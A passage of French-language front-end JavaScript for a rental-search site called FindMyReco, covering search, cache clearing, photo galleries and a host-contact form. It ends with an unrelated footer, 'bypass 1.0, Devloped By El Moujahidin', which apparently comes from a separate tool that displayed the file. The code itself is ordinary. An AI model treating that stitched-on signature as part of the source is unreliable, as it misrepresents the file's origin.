    if (!villePays) {
      if (dom.status) dom.status.textContent = 'Tape une ville + pays.';
      dom.input?.focus();
      return;
    }

    if (dom.btnClearCache) dom.btnClearCache.style.display = 'none';
    if (dom.homeSections) dom.homeSections.innerHTML = '';

    setLoading();
    if (dom.status) dom.status.textContent = 'Recherche…';
    if (dom.meta) dom.meta.textContent = '—';

    const params = {
      ville_pays: villePays,
      rayon_km: rayonKm,
      nombre_voyageurs: nombreVoyageurs,
      debug: '1'
    };

    if (options.forceLive) params.force_live = '1';

    const types = getActiveTypes();
    if (types.length) params.types = types.join(',');
    if (state.filters.piscine) params.piscine = '1';

    try {
      const data = await fetchJson(`${CONFIG.searchUrl}?${buildQueryString(params)}`);

      console.log(data.debug_recherche?.ville_pays || '');
      renderDebugRecherche(data);

      if (!data.ok) {
        if (dom.grid) dom.grid.innerHTML = '';
        if (dom.status) dom.status.textContent = 'Erreur';
        if (dom.meta) dom.meta.textContent = '—';
        setError(data.error || 'Erreur inconnue.');
        return;
      }

      if (dom.status) dom.status.textContent = data.from_cache ? 'Cache ✅' : 'Live ✅';
      if (dom.meta) {
        const voyageursLabel = `${data.nombre_voyageurs || 0} voyageur${(data.nombre_voyageurs || 0) > 1 ? 's' : ''}`;
        dom.meta.textContent = `${data.count} résultat(s) • ${voyageursLabel} • Rayon ${data.rayon_km} km • ${data.ville}, ${data.pays}`;
      }

      if (data.from_cache && dom.btnClearCache) {
        dom.btnClearCache.style.display = 'inline-block';
      }

      state.lastResults = Array.isArray(data.results) ? data.results : [];
      renderResults(state.lastResults);
      cacheMissingPhotos(state.lastResults);
      refreshMapIfVisible();
    } catch (error) {
      if (dom.grid) dom.grid.innerHTML = '';
      if (dom.status) dom.status.textContent = 'Erreur';
      if (dom.meta) dom.meta.textContent = '—';
      setError('Erreur réseau ou réponse JSON invalide.');
    }
  }

  async function clearCurrentSearchCache() {
    const villePays = dom.input?.value.trim() || '';
    const rayonKm = dom.radiusSelect?.value || '';
    if (!villePays) return;

    if (dom.status) dom.status.textContent = 'Suppression du cache…';
    if (dom.btnClearCache) dom.btnClearCache.style.display = 'none';

    const form = new FormData();
    form.append('ville_pays', villePays);
    form.append('rayon_km', rayonKm);

    try {
      const data = await fetchJson(CONFIG.cacheClearUrl, { method: 'POST', body: form });

      if (!data.ok) {
        if (dom.status) dom.status.textContent = 'Erreur cache';
        setError(data.error || 'Impossible de vider le cache.');
        return;
      }

      await doSearch({ forceLive: true });
    } catch (error) {
      if (dom.status) dom.status.textContent = 'Erreur cache';
      setError('Erreur réseau pendant la suppression du cache.');
    }
  }

  /* --------------------------------------------------------------------------
     Events principaux
  -------------------------------------------------------------------------- */
  function bindEvents() {
    dom.btnSearch?.addEventListener('click', () => doSearch({ forceLive: false }));

    dom.input?.addEventListener('keydown', (event) => {
      if (event.key === 'Enter') doSearch({ forceLive: false });
    });

    dom.input?.addEventListener('input', async () => {
      const value = dom.input.value.trim();
      const prefix = normalizeForPrefix2(value);

      if (!prefix) {
        showSuggestions([]);
        return;
      }

      const list = await loadPrefix(prefix);
      showSuggestions(filterAutocompleteItems(list, value));
    });

    dom.input?.addEventListener('focus', () => setTimeout(() => dom.input.select(), 0));
    dom.input?.addEventListener('click', () => setTimeout(() => dom.input.select(), 0));

    dom.suggestBox?.addEventListener('click', (event) => {
      const item = event.target.closest('.item');
      if (!item) return;

      dom.input.value = item.getAttribute('data-val');
      showSuggestions([]);
      dom.input.focus();
    });

    document.addEventListener('click', (event) => {
      if (!event.target.closest('#suggestBox') && !event.target.closest('#qCity')) {
        showSuggestions([]);
      }
    });

    dom.filtersBar?.addEventListener('click', (event) => {
      const button = event.target.closest('.js-filter');
      if (!button) return;

      const kind = button.getAttribute('data-filter');

      if (kind === 'reset') {
        resetFilters();
      } else if (kind === 'type') {
        const type = button.getAttribute('data-value');
        if (state.filters.types.has(type)) state.filters.types.delete(type);
        else state.filters.types.add(type);
        setFilterBtnState();
      } else if (kind === 'piscine') {
        state.filters.piscine = !state.filters.piscine;
        setFilterBtnState();
      }

      if ((dom.input?.value || '').trim()) doSearch({ forceLive: false });
    });

    dom.btnClearCache?.addEventListener('click', clearCurrentSearchCache);

    dom.btnToggleMap?.addEventListener('click', () => {
      if (!dom.split) return;

      const enabled = dom.split.classList.toggle('is-map');

      dom.btnToggleMap.innerHTML = enabled
        ? '<i class="bi bi-list me-1"></i>Liste'
        : '<i class="bi bi-map me-1"></i>Carte';

      if (enabled) refreshMapIfVisible();
      setTimeout(() => state.map.instance?.invalidateSize(), 80);
    });

    dom.btnShuffle?.addEventListener('click', () => {
      if (!dom.grid) return;

      const items = Array.from(dom.grid.children);
      for (let i = items.length - 1; i > 0; i--) {
        const j = Math.floor(Math.random() * (i + 1));
        [items[i], items[j]] = [items[j], items[i]];
      }

      items.forEach((item) => dom.grid.appendChild(item));
      if (dom.status) dom.status.textContent = 'Cartes mélangées ✔';
    });
  }

  /* --------------------------------------------------------------------------
     API exposée aux autres fichiers
  -------------------------------------------------------------------------- */
  window.FindMyReco = {
    ...(window.FindMyReco || {}),
    config: CONFIG,
    dom,
    state,
    helpers: {
      $,
      $$,
      escapeHtml,
      normToken,
      toAbsoluteUrl,
      buildLocalPhotoUrl,
      normalizePhotosLocal
    },
    getResultByToken,
    doSearch,
    setModeHome,
    showSuggestions
  };

  /* --------------------------------------------------------------------------
     Init
  -------------------------------------------------------------------------- */
  window.addEventListener('DOMContentLoaded', () => {
    bindEvents();
    setFilterBtnState();

    if (dom.input) {
      dom.input.value = '';
      showSuggestions([]);
      setModeHome();
      loadTopVilles();
      loadHomeTop3();
    }
  });
})();


/* =============================================================================
   FICHIER 2 — find-modales.js
============================================================================= */

(() => {
  'use strict';

  const app = window.FindMyReco || {};
  const helpers = app.helpers || {};

  const $ = helpers.$ || ((selector, root = document) => root.querySelector(selector));
  const $$ = helpers.$$ || ((selector, root = document) => Array.from(root.querySelectorAll(selector)));
  const escapeHtml = helpers.escapeHtml || ((value) => String(value ?? ''));
  const normToken = helpers.normToken || ((value) => String(value ?? '').trim());
  const toAbsoluteUrl = helpers.toAbsoluteUrl || ((value) => String(value ?? ''));
  const buildLocalPhotoUrl = helpers.buildLocalPhotoUrl || ((value) => String(value ?? ''));
  const normalizePhotosLocal = helpers.normalizePhotosLocal || (() => []);

  const PLACEHOLDER_IMG = app.config?.placeholderImg || 'https://find.myreco.online/img/placeholder.svg';

  /* --------------------------------------------------------------------------
     Dates formulaire contact
  -------------------------------------------------------------------------- */
  function initContactDates(root = document) {
    const dateDebut = $('#date_debut', root);
    const dateFin = $('#date_fin', root);
    if (!dateDebut || !dateFin) return;

    const pad = (number) => String(number).padStart(2, '0');
    const toYMD = (date) => `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`;

    const today = new Date();
    const todayStr = toYMD(today);

    const plus3 = new Date(today);
    plus3.setDate(plus3.getDate() + 3);
    const plus3Str = toYMD(plus3);

    if (!dateDebut.value) dateDebut.value = todayStr;
    if (!dateFin.value) dateFin.value = plus3Str;

    dateDebut.min = todayStr;
    dateFin.min = todayStr;

    function syncMinEnd() {
      if (dateDebut.value) {
        dateFin.min = dateDebut.value;
        if (dateFin.value && dateFin.value < dateDebut.value) {
          dateFin.value = dateDebut.value;
        }
      } else {
        dateFin.min = todayStr;
      }
    }

    dateDebut.removeEventListener('change', syncMinEnd);
    dateDebut.addEventListener('change', syncMinEnd);
    syncMinEnd();
  }

  /* --------------------------------------------------------------------------
     Modale photos
  -------------------------------------------------------------------------- */
  let photosModal = null;

  function openPhotosModal(token) {
    const item = app.getResultByToken?.(token);
    if (!item) return;

    const modalEl = $('#photosModal');
    const titleEl = $('#photosModalTitle');
    const metaEl = $('#photosModalMeta');
    const mainEl = $('#photosModalMain');
    const thumbsEl = $('#photosModalThumbs');

    if (!modalEl || !titleEl || !metaEl || !mainEl || !thumbsEl) return;
    if (!photosModal) photosModal = new bootstrap.Modal(modalEl);

    const mainPhoto = item.photo_src && String(item.photo_src).trim() !== ''
      ? toAbsoluteUrl(item.photo_src)
      : PLACEHOLDER_IMG;

    const allPhotos = [mainPhoto];

    normalizePhotosLocal(item.photos_local_json)
      .map(buildLocalPhotoUrl)
      .forEach((url) => {
        if (url && !allPhotos.includes(url)) allPhotos.push(url);
      });

    titleEl.textContent = item.name || 'Photos';
    metaEl.textContent = `${item.ville || ''} • ${allPhotos.length} photo${allPhotos.length > 1 ? 's' : ''}`;

    mainEl.innerHTML = `
      <div class="photos-modal-stage">
        <img id="photosModalCurrent"
             src="${escapeHtml(allPhotos[0])}"
             alt=""
             class="photos-modal-current">
      </div>
    `;

    thumbsEl.innerHTML = allPhotos.map((url, index) => `
      <button type="button" class="photo-thumb-btn" data-photo-url="${escapeHtml(url)}"
              style="border:0; background:none; padding:0;">
        <img src="${escapeHtml(url)}" alt=""
             style="width:110px; height:80px; object-fit:cover; border-radius:10px; border:2px solid ${index === 0 ? '#111' : '#e5e7eb'};">
      </button>
    `).join('');

    photosModal.show();
  }

  function bindPhotosEvents() {
    document.addEventListener('click', (event) => {
      const button = event.target.closest('[data-action="open-photos"]');
      if (!button) return;

      event.preventDefault();
      event.stopPropagation();

      const token = button.getAttribute('data-token');
      if (token) openPhotosModal(token);
    });

    document.addEventListener('click', (event) => {
      const button = event.target.closest('.photo-thumb-btn');
      if (!button) return;

      const url = button.getAttribute('data-photo-url');
      const current = $('#photosModalCurrent');
      if (!current || !url) return;

      current.src = url;

      $$('.photo-thumb-btn img').forEach((img) => {
        img.style.border = '2px solid #e5e7eb';
      });

      const img = $('img', button);
      if (img) img.style.border = '2px solid #111';
    });
  }

  /* --------------------------------------------------------------------------
     Modale contact : état docké
  -------------------------------------------------------------------------- */
  let contactModal = null;
  let isContactDocked = true;
  let contactSelected = [];

  function isContactModalOpen() {
    const modalEl = $('#contactModal');
    return modalEl && modalEl.classList.contains('show');
  }

  function setContactDocked(docked) {
    const modalEl = $('#contactModal');
    if (!modalEl) return;

    isContactDocked = Boolean(docked);
    modalEl.classList.toggle('is-docked', isContactDocked);

    const icon = $('#btnDockToggle i', modalEl);
    if (icon) {
      icon.className = isContactDocked ? 'bi bi-arrows-angle-expand' : 'bi bi-dash-lg';
    }

    const backdrop = $('.modal-backdrop');
    if (backdrop) backdrop.classList.toggle('docked-backdrop', isContactDocked);

    const isOpen = modalEl.classList.contains('show');

    if (!isOpen) {
      document.body.classList.remove('modal-open');
      document.body.style.removeProperty('overflow');
      document.body.style.removeProperty('padding-right');
      return;
    }

    if (isContactDocked) {
      document.body.classList.remove('modal-open');
      document.body.style.removeProperty('overflow');
      document.body.style.removeProperty('padding-right');
    } else {
      document.body.classList.add('modal-open');
      document.body.style.overflow = 'hidden';
    }
  }

  function initContactDockUI() {
    const modalEl = $('#contactModal');
    if (!modalEl) return;

    $('#btnDockToggle', modalEl)?.addEventListener('click', (event) => {
      event.preventDefault();
      event.stopPropagation();
      setContactDocked(!isContactDocked);
    });

    $('.modal-header', modalEl)?.addEventListener('click', () => {
      if (isContactDocked) setContactDocked(false);
    });

    modalEl.addEventListener('shown.bs.modal', () => {
      initContactDates(modalEl);
      setContactDocked(true);
    });

    modalEl.addEventListener('hidden.bs.modal', () => {
      $('#contactForm')?.reset();
      $('#contactSuccess')?.classList.add('d-none');
      setContactDocked(false);
    });
  }

  /* --------------------------------------------------------------------------
     Modale contact : sélection
  -------------------------------------------------------------------------- */
  function syncContactButtons() {
    const selectedTokens = new Set(contactSelected.map((item) => String(item.token)));

    $$('.btnContact[data-token]').forEach((button) => {
      const token = String(button.getAttribute('data-token') || '');
      const selected = selectedTokens.has(token);

      button.classList.toggle('is-active', selected);
      button.setAttribute('aria-pressed', selected ? 'true' : 'false');
    });
  }

  function renderContactSelection() {
    const listEl = $('#contactSelectionList');
    const tokensWrap = $('#contactTokensWrap');
    const titleEl = $('#contactTitle');
    const jsonEl = $('#contactSelectionJson');

    if (jsonEl) jsonEl.value = JSON.stringify(contactSelected || []);
    if (!listEl || !tokensWrap) return;

    if (!contactSelected.length) {
      listEl.innerHTML = '<div class="small" style="color:var(--muted)">Aucun hébergement sélectionné</div>';
    } else {
      listEl.innerHTML = contactSelected.map((item) => `
        <div class="contact-pill" data-token="${escapeHtml(item.token)}">
          <div>
            <div class="fw-bold">${escapeHtml(item.name || 'Hébergement')}</div>
            <div class="meta">${escapeHtml(item.ville || '')}${item.country ? `, ${escapeHtml(item.country)}` : ''}</div>
          </div>
          <button type="button" class="remove" data-remove-token="${escapeHtml(item.token)}" aria-label="Supprimer">
            <i class="bi bi-trash"></i>
          </button>
        </div>
      `).join('');
    }

    tokensWrap.innerHTML = contactSelected
      .map((item) => `<input type="hidden" name="tokens[]" value="${escapeHtml(item.token)}">`)
      .join('');

    if (titleEl) {
      const count = contactSelected.length;
      titleEl.textContent = count
        ? `${count} hébergement${count > 1 ? 's' : ''} à contacter`
        : '0 hébergement à contacter';
    }
  }

  function closeContactModalIfEmpty() {
    if (contactSelected.length) return;

    const modalEl = $('#contactModal');
    if (!modalEl) return;

    setContactDocked(false);

    const instance = bootstrap.Modal.getInstance(modalEl) || contactModal;
    if (instance && modalEl.classList.contains('show')) instance.hide();
  }

  function addContactToModal(data) {
    const token = normToken(data.token);
    if (!token) return;

    const nextItem = {
      token,
      name: data.name || 'Hébergement',
      ville: data.ville || '',
      country: data.country || '',
      capacite: data.capacite || '',
      chambres: data.chambres || '',
      sdb: data.sdb || '',
      parking: data.parking || '',
      type: data.type || '',
      prix: data.prix || ''
    };

    const exists = contactSelected.some((item) => item.token === token);

    if (!exists) {
      contactSelected.push(nextItem);
    } else {
      contactSelected = contactSelected.map((item) => {
        return item.token === token ? { ...item, ...nextItem } : item;
      });
    }

    renderContactSelection();
    syncContactButtons();

    const pill = $(`#contactSelectionList .contact-pill[data-token="${token.replace(/"/g, '\\"')}"]`);
    if (pill) {
      pill.classList.add('pulse');
      setTimeout(() => pill.classList.remove('pulse'), 350);
    }
  }

  function openContactModal(data) {
    const modalEl = $('#contactModal');
    if (!modalEl) return;

    if (!contactModal) contactModal = new bootstrap.Modal(modalEl);

    if (!isContactModalOpen()) {
      $('#contactForm')?.reset();
      $('#contactSuccess')?.classList.add('d-none');
    }

    const contactMeta = $('#contactMeta');
    const contactMeta1 = $('#contactMeta1');

    if (contactMeta) contactMeta.textContent = 'Ajoutez en d\'autres en cliquant sur "contactez l\'hôte"';
    if (contactMeta1) contactMeta1.textContent = '';

    addContactToModal(data);
    setContactDocked(true);
    contactModal.show();
  }

  function payloadFromContactButton(button) {
    return {
      token: button.getAttribute('data-token'),
      name: button.getAttribute('data-name'),
      ville: button.getAttribute('data-ville'),
      country: button.getAttribute('data-country'),
      capacite: button.getAttribute('data-capacite'),
      chambres: button.getAttribute('data-chambres'),
      sdb: button.getAttribute('data-sdb'),
      parking: button.getAttribute('data-parking'),
      type: button.getAttribute('data-type'),
      prix: button.getAttribute('data-prix')
    };
  }

  function bindContactEvents() {
    document.addEventListener('click', (event) => {
      const button = event.target.closest('.btnContact');
      if (!button) return;

      const payload = payloadFromContactButton(button);
      const token = normToken(payload.token);
      if (!token) return;

      const alreadySelected = contactSelected.some((item) => item.token === token);

      if (alreadySelected) {
        contactSelected = contactSelected.filter((item) => item.token !== token);
        renderContactSelection();
        syncContactButtons();
        closeContactModalIfEmpty();
        return;
      }

      openContactModal(payload);
    });

    $('#contactModal')?.addEventListener('click', (event) => {
      const button = event.target.closest('[data-remove-token]');
      if (!button) return;

      const token = button.getAttribute('data-remove-token');
      contactSelected = contactSelected.filter((item) => item.token !== token);
      renderContactSelection();
      syncContactButtons();
      closeContactModalIfEmpty();
    });

    $('#contactForm')?.addEventListener('submit', submitContactForm);
  }

  async function submitContactForm(event) {
    event.preventDefault();

    const form = event.target;
    const formData = new FormData(form);
    const tokens = formData.getAll('tokens[]');

    if (!tokens.length) {
      alert('Merci de sélectionner au moins un hébergement.');
      return;
    }

    const button = form.querySelector('button[type="submit"]');
    const oldHtml = button ? button.innerHTML : '';

    if (button) {
      button.disabled = true;
      button.innerHTML = '<span class="spinner-border spinner-border-sm me-2"></span>Envoi...';
    }

    try {
      const response = await fetch('ajax/contact_host.php', {
        method: 'POST',
        body: formData,
        headers: { Accept: 'application/json' }
      });

      const data = await response.json();

      if (!data.ok) {
        alert(data.error || 'Erreur lors de l\'envoi.');
        if (button) {
          button.disabled = false;
          button.innerHTML = oldHtml;
        }
        return;
      }

      $('#contactSuccess')?.classList.remove('d-none');

      contactSelected = [];
      renderContactSelection();
      syncContactButtons();

      setTimeout(() => {
        const modalEl = $('#contactModal');
        const instance = bootstrap.Modal.getInstance(modalEl);
        if (instance) instance.hide();
      }, 700);

      if (button) button.innerHTML = '<i class="bi bi-check2 me-1"></i>Envoyé';

      setTimeout(() => {
        if (!button) return;
        button.disabled = false;
        button.innerHTML = oldHtml;
      }, 1200);
    } catch (error) {
      alert('Erreur réseau.');
      if (button) {
        button.disabled = false;
        button.innerHTML = oldHtml;
      }
    }
  }

  /* --------------------------------------------------------------------------
     API exposée au fichier principal
  -------------------------------------------------------------------------- */
  window.FindMyReco = {
    ...(window.FindMyReco || {}),
    syncContactButtons,
    getContactSelected: () => contactSelected.slice()
  };

  /* --------------------------------------------------------------------------
     Init
  -------------------------------------------------------------------------- */
  window.addEventListener('DOMContentLoaded', () => {
    bindPhotosEvents();
    initContactDockUI();
    bindContactEvents();

    const modalEl = $('#contactModal');
    if (!modalEl) initContactDates(document);
  });
})();

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net